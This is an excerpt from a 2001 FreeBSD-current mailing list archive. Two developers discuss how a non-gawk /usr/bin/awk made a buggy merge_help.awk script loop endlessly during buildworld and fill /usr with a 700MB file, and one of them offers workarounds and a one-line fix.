failed, file system is full > ^^^^^^^^^^ > > awk: write error on stdout > > input record number 383, file > > source line number 92 > > *** Error code 2 > your /usr is full, not CURRENT's problem. Ha Ha Ha Ha! You're killing me. Read the original email again. /usr was filled by awk because I had bawk in /usr/bin instead of gawk. You clipped the "ls -l" output in my original message that showed the above awk command created a 700MB loader.help file. -- Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Nov 3 18: 8:50 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id 33D3D37B405 for ; Sat, 3 Nov 2001 18:08:46 -0800 (PST) Received: (from david@localhost) by bunrab.catwhisker.org (8.11.6/8.11.6) id fA428T359144; Sat, 3 Nov 2001 18:08:29 -0800 (PST) (envelope-from david) Date: Sat, 3 Nov 2001 18:08:29 -0800 (PST) From: David Wolfskill Message-Id: <200111040208.fA428T359144@bunrab.catwhisker.org> To: sgk@troutmask.apl.washington.edu, vanilla@play.maudelegb.org Subject: Re: awk has gone nuts! Cc: freebsd-current@FreeBSD.ORG In-Reply-To: <20011104014332.GA6062@play.cirx.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >Date: Sun, 4 Nov 2001 09:43:32 +0800 >From: "Vanilla I. Shu" >On Sat, Nov 03, 2001 at 10:07:21AM -0800, Steve Kargl wrote: >> strip -R .comment -R .note loader.bin >> cat /usr/src/sys/boot/i386/loader/../../common/help.common /usr/src/sys/boot/i386/loader/help.i386 | awk -f /usr/src/sys/boot/i386/loader/../../common/merge_help.awk > loader.help >> /usr: write failed, file system is full >^^^^^^^^^^ >> awk: write error on stdout >> input record number 383, file >> source line number 92 >> *** Error code 2 >your /usr is full, not CURRENT's problem. Actually, it is, but there is a circumvention. The scenario goes like this: * Build -CURRENT with sources from between 30 October - 02 November -- that is, get the-one-true-awk installed as /usr/bin/awk. * Some of the buildworld process uses awk. It is, however (to the best of my knowledge) not built as part of the "build tools" process; thus, buildworld uses /usr/bin/awk for this. Perhaps changing this is worth consideration, given the events of the past week. * Some of those awk scripts use constructs that gawk accepts and uses. (The POSIX "bracket expressions" are a notable example, but there appear to be others, such as empty regexes and newline characters as part of a variable's value.) The modes of failure are often such that it is not immediately apparent when a failure has occurred. (I.e., some of the failures are "silent".) * The mode of failure for src/sys/boot/common/merge_help.awk, in particular, was that it would sit in a rather tight loop, repetitively outputting the same 2 (or 3, I forget now) lines because of a combination of a silent failure when using the-one-true-awk and a programming error in the script itself (such that in the case that no input records were recognized, it proceeded to enter this tight output loop). A circumvention is to make & install awk (assuming the sources you are using are those for gawk) before doing the buildworld. Another is to copy over a version of gawk as /usr/bin/awk before doing the buildworld. Either of these will prevent the problems. If the goal is merely to avoid the out-of-space condition because of the programming error, it suffices to change the initialization of "first" at src/sys/boot/common/merge_help.awk:11 from first = 0; to first = -1; though that will not solve the other problems. (It would probably be good for that script to terminate with an error condition if, at termination, it discovers that it recognized no input lines.) Cheers, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message